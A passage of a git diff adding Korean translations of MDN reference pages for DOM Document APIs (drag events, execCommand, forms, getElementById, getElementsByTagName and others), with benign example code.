CSS

+ +
#draggable {
+  width: 200px;
+  height: 20px;
+  text-align: center;
+  background: white;
+}
+
+.dropzone {
+  width: 200px;
+  height: 20px;
+  background: blueviolet;
+  margin-bottom: 10px;
+  padding: 10px;
+}
+
+ +

JavaScript

+ +
var dragged;
+
+/* 드래그 가능한 대상에서 이벤트 발생 */
+document.addEventListener("drag", function(event) {
+
+}, false);
+
+document.addEventListener("dragstart", function(event) {
+  // 드래그한 요소에 대한 참조 변수
+  dragged = event.target;
+  // 요소를 반투명하게 함
+  event.target.style.opacity = .5;
+}, false);
+
+document.addEventListener("dragend", function(event) {
+  // 투명도를 리셋
+  event.target.style.opacity = "";
+}, false);
+
+/* 드롭 대상에서 이벤트 발생 */
+document.addEventListener("dragover", function(event) {
+  // 드롭을 허용하도록 prevetDefault() 호출
+  event.preventDefault();
+}, false);
+
+document.addEventListener("dragenter", function(event) {
+  // 요소를 드롭하려는 대상 위로 드래그했을 때 대상의 배경색 변경
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "purple";
+  }
+
+}, false);
+
+document.addEventListener("dragleave", function(event) {
+  // 요소를 드래그하여 드롭하려던 대상으로부터 벗어났을 때 배경색 리셋
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+  }
+
+}, false);
+
+document.addEventListener("drop", function(event) {
+  // 기본 액션을 막음 (링크 열기같은 것들)
+  event.preventDefault();
+  // 드래그한 요소를 드롭 대상으로 이동
+  if (event.target.className == "dropzone") {
+    event.target.style.background = "";
+    dragged.parentNode.removeChild( dragged );
+    event.target.appendChild( dragged );
+  }
+}, false);
+ +

{{EmbedLiveSample('Examples', '300', '200', '')}}

+ +

사양

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "drag event")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.drag_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragend_event/index.html b/files/ko/web/api/document/dragend_event/index.html new file mode 100644 index 0000000000..3849f39274 --- /dev/null +++ b/files/ko/web/api/document/dragend_event/index.html @@ -0,0 +1,97 @@ +--- +title: 'Document: dragend event' +slug: Web/API/Document/dragend_event +tags: + - API + - DOM + - Document + - DragEvent + - Event + - Reference + - Web + - drag and drop + - dragend +translation_of: Web/API/Document/dragend_event +--- +
{{APIRef}}
+ +

dragend는 드래그 작업이 끝났을 때 발생합니다(마우스 버튼을 떼거나 ESC 키를 누른 경우).

+ + + + + + + + + + + + + + + + + + + + + + + + +
이벤트 버블링Yes
이벤트 취소No
기본 액션Varies
인터페이스{{domxref("DragEvent")}}
이벤트 핸들러 속성{{domxref("GlobalEventHandlers/ondragend", "ondragend")}}
+ +

예제

+ +

drag 이벤트의 예제 코드나 이 JSFiddle demo를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragend")}}{{Spec2("HTML WHATWG")}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragend_event")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/dragstart_event/index.html b/files/ko/web/api/document/dragstart_event/index.html new file mode 100644 index 0000000000..ab3eb2adf2 --- /dev/null +++ b/files/ko/web/api/document/dragstart_event/index.html @@ -0,0 +1,90 @@ +--- +title: dragstart +slug: Web/API/Document/dragstart_event +tags: + - DOM + - Event + - Reference + - drag and drop +translation_of: Web/API/Document/dragstart_event +--- +
{{APIRef}}
+ +

dragstart 이벤트는 사용자가 요소나 선택한 텍스트를 드래그하기 시작할 때 발생합니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
버블링가능
취소가능
기본 액션드래그 앤 드랍 작업 초기화.
인터페이스{{domxref("DragEvent")}}
이벤트 처리기 속성{{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}}
+ +

예제

+ +

드래그 이벤트의 예제를 참고하세요.

+ +

{{EmbedLiveSample('Examples', '300', '200', '', 'Web/API/Document/drag_event')}}

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{SpecName("HTML WHATWG", "interaction.html#dndevents", "dragstart")}}{{Spec2("HTML WHATWG")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.dragstart_event")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/embeds/index.html b/files/ko/web/api/document/embeds/index.html new file mode 100644 index 0000000000..776eccc0e7 --- /dev/null +++ b/files/ko/web/api/document/embeds/index.html @@ -0,0 +1,36 @@ +--- +title: Document.embeds +slug: Web/API/Document/embeds +tags: + - embeds +translation_of: Web/API/Document/embeds +--- +

{{ ApiRef() }}

+ +

Summary

+ +

embeds 는 현재 document 에 embed되어 있는 OBJECT 들의 list 를 반환합니다.

+ +

Syntax

+ +
nodeList = document.embeds
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-embeds', 'Document.embeds')}}{{ Spec2('HTML WHATWG') }} 
diff --git a/files/ko/web/api/document/execcommand/index.html b/files/ko/web/api/document/execcommand/index.html new file mode 100644 index 0000000000..47ec3b3de2 --- /dev/null +++ b/files/ko/web/api/document/execcommand/index.html @@ -0,0 +1,157 @@ +--- +title: Document.execCommand() +slug: Web/API/Document/execCommand +translation_of: Web/API/Document/execCommand +--- +
{{ApiRef("DOM")}}
+ +

HTML 문서가 designMode로 전환되면 문서에서 execCommand 메서드를 사용할 수 있게 되는데 이것을 이용해서 문서의 편집 가능한 영역을 변경할 수 있습니다. 대부분의 명령어는 문서의 선택 영역에 영향(볼드, 이탤릭 등)을 미치고 나머지는 새 요소를 추가(링크 추가)하거나 전체 줄에 영향(들여쓰기)을 미칩니다. contentEditable을 사용할 때에 execCommand()를 호출하면 현재 활성화된 편집 요소에 영향을 미칩니다.

+ +

문법

+ +
bool = document.execCommand(aCommandName, aShowDefaultUI, aValueArgument)
+
+ +

반환값

+ +

명령어가 지원되지 않거나 활성화되어 있지 않으면 false {{jsxref('Boolean')}} 값을 반환합니다.

+ +

매개 변수

+ +
+
aCommandName
+
실행해야할 명령어 이름 {{domxref("DOMString")}}을 나타냅니다. 사용 가능한 명령어 목록은 {{anch("Commands")}}를 참고하세요.
+
aShowDefaultUI
+
기본 사용자 UI가 나타나야하는지를 보여주는 {{jsxref("Boolean")}} 값입니다. Mozilla에서는 구현되어 있지 않습니다.
+
aValueArgument
+
입력 변수가 필요한 명령어(insertImage와 같이 삽입할 이미지의 URL이 필요한)의 경우 이 {{domxref("DOMString")}}으로 정보를 전달합니다. 변수가 필요하지 않으면 null을 표기합니다.
+
+ +

명령어

+ +
+
backColor
+
문서의 배경색을 변경합니다. styleWithCss 모드에서는 대신 상위 요소의 배경색에 영향을 미칩니다. 변수 값으로 {{cssxref("<color>")}} 값을 넘겨야 합니다. Internet Explorer는 이 명령어를 텍스트 배경색을 변경하는데 사용합니다.
+
bold
+
선택 영역이나 입력 위치에 볼드를 온/오프합니다. Internet Explorer는 {{HTMLElement("b")}} 대신 {{HTMLElement("strong")}} 태그를 사용합니다.
+
contentReadOnly
+
내용 문서를 읽기 전용으로 하거나 편집 가능하게 합니다. boolean true/false 값을 변수로 넘겨주어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
copy
+
클립보드에 현재 선택 영역의 내용을 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
createLink
+
선택 영역이 있을 때 선택 영역에 링크 요소를 만듭니다. 변수 값으로 HREF URI 문자열이 필요합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
cut
+
현재 선택 영역을 잘라내어서 클립보드에 복사합니다. 브라우저마다 이 기능이 활성화되는 조건이 다르고 계속해서 변경됩니다. 상황에 따라서 이 기능을 사용할 수 있을지 호환성 표를 참고하세요.
+
decreaseFontSize
+
선택 영역이나 입력 위치에 {{HTMLElement("small")}} 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
delete
+
현재 선택 영역을 지웁니다.
+
enableInlineTableEditing
+
표의 행과 열을 추가 삭제하는 명령 도구를 활성화하거나 비활성화합니다. (Internet Explorer는 지원하지 않습니다.)
+
enableObjectResizing
+
이미지나 다른 크기 조정이 가능한 객체의 크기 조정 도구를 활성화하거나 비활성화합니다.
+
fontName
+
선택 영역이나 입력 위치의 서체 이름을 변경합니다. 변수 값으로 서체 이름 문자열(예를 드러 "Arial")을 넘겨야 합니다.
+
fontSize
+
선택 영역이나 입력 위치의 서체 크기를 변경합니다. 변수 값으로 HTML 서체 크기(1-7)을 넘겨야 합니다.
+
foreColor
+
선택 영역이나 입력 위치의 서체 색상을 변경합니다. 변수 값으로 색상 값 문자열을 넘겨야 합니다.
+
formatBlock
+
현재 선택 영역이 있는 줄을 포함하는 HTML 요소를 추가하고 줄을 포함하는 요소가 있을 경우 요소을 변경합니다(Firefox에서는 BLOCKQUOTE가 예외적으로 상위 요소를 감쌉니다). 변수 값으로 태그 이름 문자열을 넘겨야 합니다. 실질적으로 모든 블록 요소를 사용할 수 있습니다(예 "H1", "P", "DL", "BLOCKQUOTE"). (Internet Explorer는 제목 태그  H1 - H6와 ADDRESS, PRE만 지원하고 태그 구분자 < >를 써서 "<H1>"와 같이 사용해야 합니다.)
+
forwardDelete
+
커서 위치 앞의 글자를 지웁니다. delete 키를 누른 것과 동일합니다.
+
heading
+
선택 영역이나 입력 위치 줄에 제목 태그를 추가합니다. 변수 값으로 제목 이름 문자열(예 "H1", "H6")을 넘겨야 합니다. (Internet Explorer와 Safari는 지원하지 않습니다.)
+
hiliteColor
+
선택 영역이나 입력 위치의 배경 색상을 변경합니다. 변수 값으로 생상 값 문자열을 넘겨야 합니다. 이 함수는 UseCSS가 반드시 켜져 있어야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
increaseFontSize
+
선택 영역이나 입력 위치에 BIG 태그를 추가합니다. (Internet Explorer는 지원하지 않습니다.)
+
indent
+
선택 영역이나 입력 위치를 포함하는 줄을 들여쓰기 합니다. Firefox에서는 선택 영역이 여러줄에 걸처 서로 다른 들여쓰기 값을 가지고 있으면 제일 조금 들여쓰기된 줄만 들여쓰기가 됩니다.
+
insertBrOnReturn
+
엔터키를 눌렀을 때 br 태그를 넣을지 현재의 블록 요소를 두개로 나줄지 제어합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertHorizontalRule
+
입력 위치에 가로줄을 넣습니다(선택 영역은 지워집니다).
+
insertHTML
+
입력 위치에 HTML 문자열을 넣습니다(선택 영역을 지워집니다). 변수 값으로 유효한 HTML 문자열을 넘겨야 합니다. (Internet Explorer는 지원하지 않습니다.)
+
insertImage
+
입력 위치에 이미지를 넣습니다(선택 영역을 지워집니다). 변수 값으로 이미지의 SRC URI 문자열을 넘겨야 합니다. URI는 최소 한글자 이상이어야 하고 공백문자여도 됩니다. (Internet Explorer는 null URI 값으로 링크를 생성합니다.)
+
insertOrderedList
+
선택 영역이나 입력 위치에 번호 순서가 있는 목록을 넣습니다.
+
insertUnorderedList
+
선택 영역이나 입력 위치에 번호 순서가 없는 목록을 넣습니다.
+
insertParagraph
+
선택 영역이나 현재 줄에 문단 태그를 추가합니다. (Internet Explorer는 입력 위치에 문단을 삽입하고 선택 영역은 삭제합니다.)
+
insertText
+
입력 위치에 지정된 텍스트를 입력합니다(선택 영역은 지워집니다).
+
italic
+
선택 영역이나 입력 위치에 이탤릭을 온/오프합니다. (Internet Explorer는 I 대신 EM 태그를 사용합니다.)
+
justifyCenter
+
선택 영역이나 입력 위치를 가운데 정렬합니다.
+
justifyFull
+
선택 영역이나 입력 위치를 양쪽 정렬합니다.
+
justifyLeft
+
선택 영역이나 입력 위치를 좌측 정렬합니다.
+
justifyRight
+
선택 영역이나 입력 위치를 우측 정렬합니다.
+
outdent
+
선택 영역이나 입력 위치의 줄을 내어쓰기 합니다.
+
paste
+
입력 위치에 클립보드의 내용을 붙여넣기 합니다(현재의 선택 영역을 교체합니다). user.js 설정 파일에서 클립보드가 활성화 되어 있어야 합니다. 참고 [1].
+
redo
+
이전에 실행 취소된 명령을 다시 실행합니다.
+
removeFormat
+
현재 선택 영역의 모든 문서 형식을 제거합니다.
+
selectAll
+
편집 가능 영역의 모든 내용을 선택합니다.
+
strikeThrough
+
선택 영역이나 입력 위치의 가로줄을 온/오프 합니다.
+
subscript
+
선택 영역이나 입력 위치의 아랫첨자를 온/오프 합니다.
+
superscript
+
선택 영역이나 입력 위치의 윗첨자를 온/오프 합니다.
+
underline
+
선택 영역이나 입력 위치의 밑줄을 온/오프 합니다.
+
undo
+
직전에 실행된 명령을 취소합니다.
+
unlink
+
선택된 링크에서 링크 태그를 제거합니다.
+
useCSS {{Deprecated_inline}}
+
생성된 마크업의 HTML 태그나 CSS 사용을 토글합니다. 변수 값으로 boolean true/false 값을 넘겨야 합니다. 주의: 이 값은 논리적으로 반대입니다(CSS를 사용하기 위해서는 false를 HTML을 사용하기 위해서는 true). (Internet Explorer는 지원하지 않습니다.) 이 명령은 더이상 사용하지 않습니다. 대신 styleWithCSS 명령어를 사용하세요.
+
styleWithCSS
+
useCSS 명령어를 대체합니다. 변수 값은 예상한대로 작동합니다. 예를 들어서 마크업에서 style 속성을 수정하거나 생성하려면 true를, false는 포매팅 요소를 생성합니다.
+
+ +

예제

+ +

CodePen의 how to use를 참고하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#execcommand()', 'execCommand')}}{{Spec2('HTML Editing')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Document.execCommand")}}

+ +

참고

+ + diff --git a/files/ko/web/api/document/forms/index.html b/files/ko/web/api/document/forms/index.html new file mode 100644 index 0000000000..675110bb47 --- /dev/null +++ b/files/ko/web/api/document/forms/index.html @@ -0,0 +1,77 @@ +--- +title: Document.forms +slug: Web/API/Document/forms +tags: + - Forms +translation_of: Web/API/Document/forms +--- +
{{APIRef("DOM")}}
+ +

forms는 현재 document에 존재하는 {{HTMLElement("form")}} element 들이 담긴 collection (an {{domxref("HTMLCollection")}})을 반환합니다.

+ +

Syntax

+ +
collection = document.forms;
+ +

Example: Getting form information

+ +
<!DOCTYPE html>
+<html lang="en">
+
+<head>
+<title>document.forms example</title>
+</head>
+
+<body>
+
+<form id="robby">
+  <input type="button" onclick="alert(document.forms[0].id);" value="robby's form" />
+</form>
+
+<form id="dave">
+  <input type="button" onclick="alert(document.forms[1].id);" value="dave's form" />
+</form>
+
+<form id="paul">
+  <input type="button" onclick="alert(document.forms[2].id);" value="paul's form" />
+</form>
+
+</body>
+</html>
+
+ +

Example 2:Getting an element from within a form

+ +
var selectForm = document.forms[index];
+var selectFormElement = document.forms[index].elements[index];
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-forms', 'Document.forms')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName('DOM2 HTML', 'html.html#ID-1689064', 'Document.forms')}}{{ Spec2('DOM2 Events') }}Initial definition.
+ +

See also

+ + diff --git a/files/ko/web/api/document/getelementbyid/index.html b/files/ko/web/api/document/getelementbyid/index.html new file mode 100644 index 0000000000..ff66b88d8b --- /dev/null +++ b/files/ko/web/api/document/getelementbyid/index.html @@ -0,0 +1,152 @@ +--- +title: Document.getElementById() +slug: Web/API/Document/getElementById +tags: + - API + - DOM + - Document + - Elements + - Method + - Reference + - Web +translation_of: Web/API/Document/getElementById +--- +
{{ ApiRef("DOM") }}
+ +

Document.getElementById() 메서드는 주어진 문자열과 일치하는 {{domxref("Element.id", "id")}} 속성을 가진 요소를 찾고, 이를 나타내는 {{domxref("Element")}} 객체를 반환합니다. ID는 문서 내에서 유일해야 하기 때문에 특정 요소를 빠르게 찾을 때 유용합니다.

+ +

ID가 없는 요소에 접근하려면 {{domxref("Document.querySelector()")}}를 사용하세요. 모든 {{Glossary("CSS selector", "선택자")}}를 사용할 수 있습니다.

+ +

구문

+ +
document.getElementById(id);
+
+ +

매개변수

+ +
+
id
+
찾으려는 요소 ID. ID는 대소문자를 구분하는 문자열로, 문서 내에서 유일해야 합니다. 즉, 하나의 값은 하나의 요소만 사용할 수 있습니다.
+
+ +

반환 값

+ +

주어진 ID와 일치하는 DOM 요소를 나타내는 {{domxref("Element")}} 객체. 문서 내에 주어진 ID가 없으면 null.

+ +

예제

+ +

HTML

+ +
<html>
+<head>
+  <title>getElementById 예제</title>
+</head>
+<body>
+  <p id="para">어떤 글</p>
+  <button onclick="changeColor('blue');">blue</button>
+  <button onclick="changeColor('red');">red</button>
+</body>
+</html>
+
+ +

JavaScript

+ +
function changeColor(newColor) {
+  var elem = document.getElementById('para');
+  elem.style.color = newColor;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 250, 100) }}

+ +

용법

+ +

메서드 이름 중 "Id"의 대소문자가 정확해야 합니다. getElementByID()가 자연스러워 보일지라도 유효하지 않은 이름이기에 사용할 수 없습니다.

+ +

{{domxref("Document.querySelector()")}}나 {{domxref("Document.querySelectorAll()")}}과는 달리 getElementById()는 전역 document 객체의 메서드로만 사용할 수 있고, DOM의 다른 객체는 메서드로 가지고 있지 않습니다. ID 값은 문서 전체에서 유일해야 하며 "국지적"인 버전을 쓸 이유가 없기 때문입니다.

+ +

예제

+ +
<!doctype html>
+<html>
+<head>
+    <meta charset="UTF-8">
+    <title>Document</title>
+</head>
+<body>
+    <div id="parent-id">
+        <p>hello word1</p>
+        <p id="test1">hello word2</p>
+        <p>hello word3</p>
+        <p>hello word4</p>
+    </div>
+    <script>
+        var parentDOM = document.getElementById('parent-id');
+        var test1=parentDOM.getElementById('test1');
+        //throw error
+        //Uncaught TypeError: parentDOM.getElementById is not a function
+    </script>
+</body>
+</html>
+
+ +

id에 맞는 요소가 없을 때 getElementById()null을 반환합니다. 매개변수 id가 대소문자를 구분한다는 점을 기억하세요. document.getElementById("Main")<div id="main"> 대신 null을 반환하는데 "M"과 "m"을 구분하기 때문입니다.

+ +

문서에 없는 요소getElementById()가 팀색하지 않습니다. 요소를 동적으로 생성해서 ID를 부여하더라도, {{domxref("Node.insertBefore()")}}나 비슷한 메서드로 문서 트리에 삽입해야 getElementById()로 접근할 수 있습니다.

+ +
var element = document.createElement('div');
+element.id = 'testqq';
+var el = document.getElementById('testqq'); // el이 null!
+
+ +

HTML이 아닌 문서. DOM 구현체는 요소의 어떤 속성이 ID인지 알고 있어야 합니다. 문서의 DTD가 정의하고 있지 않으면, 속성명이 "id"라고 해도 ID 유형인건 아닙니다. XHTML, XUL 등 자주 쓰이는 문서의 경우 id 속성을 ID 유형으로 정의하고 있습니다. ID 유형의 속성이 어떤 것인지 모르는 다른 구현의 경우 null을 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM1','level-one-html.html#method-getElementById','getElementById')}}{{Spec2('DOM1')}}Initial definition for the interface
{{SpecName('DOM2 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM2 Core')}}Supersede DOM 1
{{SpecName('DOM3 Core','core.html#ID-getElBId','getElementById')}}{{Spec2('DOM3 Core')}}Supersede DOM 2
{{SpecName('DOM WHATWG','#interface-nonelementparentnode','getElementById')}}{{Spec2('DOM WHATWG')}}Intend to supersede DOM 3
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementById")}}

+ +

같이 보기

+ + + +

 

diff --git a/files/ko/web/api/document/getelementsbytagname/index.html b/files/ko/web/api/document/getelementsbytagname/index.html new file mode 100644 index 0000000000..1d2284b02a --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagname/index.html @@ -0,0 +1,117 @@ +--- +title: Document.getElementsByTagName() +slug: Web/API/Document/getElementsByTagName +tags: + - API + - DOM + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagName +--- +
{{ ApiRef("DOM") }}
+{{domxref("Document")}} 인터페이스의 getElementsByTagName 메소드는 엘리먼트의 {{domxref("HTMLCollection")}} 과 주어진 태그명을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 검색됩니다. 반환된 HTMLCollection 은 살아있는데, 이는 document.getElementsByTagName() 을 다시 호출하지 않아도 자동으로 업데이트하여 DOM 트리와 동기화된 상태를 유지함을 의미합니다.
+ +

구문

+ +
var elements = document.getElementsByTagName(name);
+ + + +
최신 W3C 명세에서는 elements 가 HTMLCollection 라고 하지만, WebKit 브라우저에서는 {{domxref("NodeList")}} 를 반환합니다. 자세한 내용은 {{bug(14869)}} 버그를 확인하시기 바랍니다.
+ +

예시

+ +

다음 예시에서, getElementsByTagName() 는 특정 부모 엘리먼트에서 시작해 그 부모 엘리먼트의 DOM 을 거쳐 위에서 아래로 재귀 탐색을하고, 태그 name 파라미터에 일치하는 모든 자손 엘리먼트의 집합을 생성합니다. 여기에서는 document.getElementsByTagName() 과 기능적으로 동일하며 DOM 트리의 특정 엘리먼트를 시작으로하여 탐색하는 {{domxref("Element.getElementsByTagName()")}} 모두를 시연합니다.

+ +

버튼 클릭은 getElementsByTagName() 을 사용해 특정 부모의 자손 문단(p) 엘리먼트를 셉니다(다큐먼트 자체 또는 중첩된 {{HTMLElement("div")}} 엘리먼트 중 하나).

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="UTF-8" />
+  <title>getElementsByTagName example</title>
+  <script>
+    function getAllParaElems() {
+      var allParas = document.getElementsByTagName('p');
+      var num = allParas.length;
+      alert('There are ' + num + ' paragraph in this document');
+    }
+
+    function div1ParaElems() {
+      var div1 = document.getElementById('div1');
+      var div1Paras = div1.getElementsByTagName('p');
+      var num = div1Paras.length;
+      alert('There are ' + num + ' paragraph in #div1');
+    }
+
+    function div2ParaElems() {
+      var div2 = document.getElementById('div2');
+      var div2Paras = div2.getElementsByTagName('p');
+      var num = div2Paras.length;
+      alert('There are ' + num + ' paragraph in #div2');
+    }
+  </script>
+</head>
+<body style="border: solid green 3px">
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+      <p>Some div2 text</p>
+      <p>Some div2 text</p>
+    </div>
+  </div>
+
+  <p>Some outer text</p>
+  <p>Some outer text</p>
+
+  <button onclick="getAllParaElems();">
+    show all p elements in document</button><br />
+
+  <button onclick="div1ParaElems();">
+    show all p elements in div1 element</button><br />
+
+  <button onclick="div2ParaElems();">
+    show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

노트

+ +

HTML 다큐먼트에서 호출될 때, getElementsByTagName() 은 처리전에 인수를 소문자로 변환합니다. 이는 HTML 다큐먼트의 하위 트리에 속한 낙타 표기법의 SVG 엘리먼트를 찾으려할 때 바람직하지 않습니다. 그런 경우에는 {{Domxref("document.getElementsByTagNameNS()")}} 가 유용합니다.{{Bug(499656)}} 버그도 확인하시기 바랍니다.

+ +

document.getElementsByTagName() 은 전체 다큐먼트를 포함하여 탐색한다는 점만 제외하고 {{domxref("Element.getElementsByTagName()")}} 와 유사합니다.

+ +

명세

+ + + +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagName")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getelementsbytagnamens/index.html b/files/ko/web/api/document/getelementsbytagnamens/index.html new file mode 100644 index 0000000000..77c5001581 --- /dev/null +++ b/files/ko/web/api/document/getelementsbytagnamens/index.html @@ -0,0 +1,149 @@ +--- +title: Document.getElementsByTagNameNS() +slug: Web/API/Document/getElementsByTagNameNS +tags: + - API + - DOM + - NeedsMarkupWork + - NeedsSpecTable + - getElementsByTagNameNS + - 레퍼런스 + - 메소드 +translation_of: Web/API/Document/getElementsByTagNameNS +--- +
{{APIRef("DOM")}}
+ +

주어진 네임스페이스에 속하는 태그명을 갖는 엘리먼트의 목록을 반환합니다. 루트 노드를 포함해 전체 다큐먼트를 대상으로 탐색합니다.

+ +

구문

+ +
elements = document.getElementsByTagNameNS(namespace, name)
+
+ + + +

노트: W3C 명세는 elementsNodeList 라고 하였지만, Gecko 와 Internet Explorer 에서는 {{DOMxRef("HTMLCollection")}} 을 반환합니다. Opera 는NodeList 를 반환하지만 namedItem 메소드를 구현해 HTMLCollection 과 유사하게 만듭니다. 2012 년 1월 기준으로, WebKit 브라우저만 순수한 NodeList 를 반환합니다. 자세한 내용은 bug 14869 를 확인하세요.

+ +

노트: 현재 이 메소드의 파라미터는 대소문자를 구분하지만, Firefox 3.5 와 그 이전에는 그렇지 않았습니다. 자세한 내용은 Firefox 3.6 개발자 릴리즈 노트와 {{domxref("Element.getElementsByTagNameNS")}} 의 브라우저 호환성 섹션을 확인하세요.

+ +

예시

+ +

다음 예시에서 getElementsByTagNameNS 는 특정 부모 노트로부터 시작하고 위에서 아래로 해당 DOM 의 부모노드를 재귀적으로 탐색하여 태그 name 파라미터에 일치하는 자식 엘리먼트를 찾습니다.

+ +

getElementByTagName 이 실행된 노드가 document 노드가 아닐 때, {{domxref("element.getElementsByTagNameNS")}} 메소드가 사용됨을 유의하세요.

+ +

다음 예시를 사용하려면, .xhtml 확장의 새 파일로 복사/붙여넣기 하세요.

+ +
<html xmlns="http://www.w3.org/1999/xhtml">
+
+<head>
+<title>getElementsByTagNameNS example</title>
+
+<script type="text/javascript">
+
+function getAllParaElems()
+{
+  var allParas = document.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = allParas.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in this document");
+}
+
+
+function div1ParaElems()
+{
+  var div1 = document.getElementById("div1")
+  var div1Paras = div1.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div1Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div1 element");
+}
+
+
+function div2ParaElems()
+{
+  var div2 = document.getElementById("div2")
+  var div2Paras = div2.getElementsByTagNameNS("http://www.w3.org/1999/xhtml", "p");
+
+  var num = div2Paras.length;
+
+  alert("There are " + num + " &lt;p&gt; elements in div2 element");
+}
+
+</script>
+</head>
+
+<body style="border: solid green 3px">
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+  <div id="div1" style="border: solid blue 3px">
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+    <p>Some div1 text</p>
+
+    <div id="div2" style="border: solid red 3px">
+    <p>Some div2 text</p>
+    <p>Some div2 text</p>
+    </div>
+  </div>
+
+<p>Some outer text</p>
+<p>Some outer text</p>
+
+<button onclick="getAllParaElems();">
+ show all p elements in document</button><br />
+
+<button onclick="div1ParaElems();">
+ show all p elements in div1 element</button><br />
+
+<button onclick="div2ParaElems();">
+ show all p elements in div2 element</button>
+
+</body>
+</html>
+
+ +

지원하지 않는 다른 브라우저를 위한 잠재적인 대안

+ +

원하는 브라우저가 XPath 를 지원하지 않는다면, 원하는 로컬명과 네임스페이스를 갖는 모든 태그를 찾기 위한 다른 접근법(모든 자식을 거쳐 DOM 을 횡단, 모든 @xmlns 인스턴스 식별 등)이 필요하지만, XPath 가 훨씬 빠릅니다(Explorer 에 적용하려면, 아래의 함수에서 XPath 대신 이 래퍼 클래스같은 XPath 래퍼를 호출할 수 있습니다(Explorer 는 다른 API 로 XPath 를 지원합니다).)

+ +
function getElementsByTagNameNSWrapper (ns, elName, doc, context) {
+ if (!doc) {
+  doc = document;
+ }
+ if (!context) {
+  context = doc;
+ }
+
+ var result = doc.evaluate('//*[local-name()="'+elName+'" and namespace-uri() = "'+ns+'"]', context, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
+
+        var a = [];
+        for(var i = 0; i < result.snapshotLength; i++) {
+            a[i] = result.snapshotItem(i);
+        }
+        return a;
+}
+
+ +

명세

+ +

DOM Level 2 Core: Document.getElementsByTagNameNS

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.getElementsByTagNameNS")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/document/getselection/index.html b/files/ko/web/api/document/getselection/index.html new file mode 100644 index 0000000000..40ec764f1e --- /dev/null +++ b/files/ko/web/api/document/getselection/index.html @@ -0,0 +1,8 @@ +--- +title: Document.getSelection() +slug: Web/API/Document/getSelection +translation_of: Web/API/DocumentOrShadowRoot/getSelection +--- +

{{APIRef("DOM")}}

+ +

이 메소드는 {{domxref("Window.getSelection()")}} 와 동일합니다. 이 메소드는 {{domxref("Selection")}} 형의 객체를 반환하는데, 이 객체는 현재 페이지에서 선택된 영역의 정보를 반영합니다.

diff --git a/files/ko/web/api/document/hasfocus/index.html b/files/ko/web/api/document/hasfocus/index.html new file mode 100644 index 0000000000..b41818b736 --- /dev/null +++ b/files/ko/web/api/document/hasfocus/index.html @@ -0,0 +1,101 @@ +--- +title: Document.hasFocus() +slug: Web/API/Document/hasFocus +tags: + - API + - DOM + - Focus + - Method + - Reference +translation_of: Web/API/Document/hasFocus +--- +

{{ ApiRef("DOM") }}

+ +

Document.hasFocus() 메소드는 문서 또는 문서 내의 요소(element) 중 어느 하나라도 포커스(focus)를 갖고 있으면 true, 그렇지 않으면 false인 {{jsxref("Boolean")}} 값을 반환한다. 이 메소드를 사용하여 문서내 활성화된(active) 요소가 포커스를 갖고 있는지 판단할 수 있다.

+ +
+

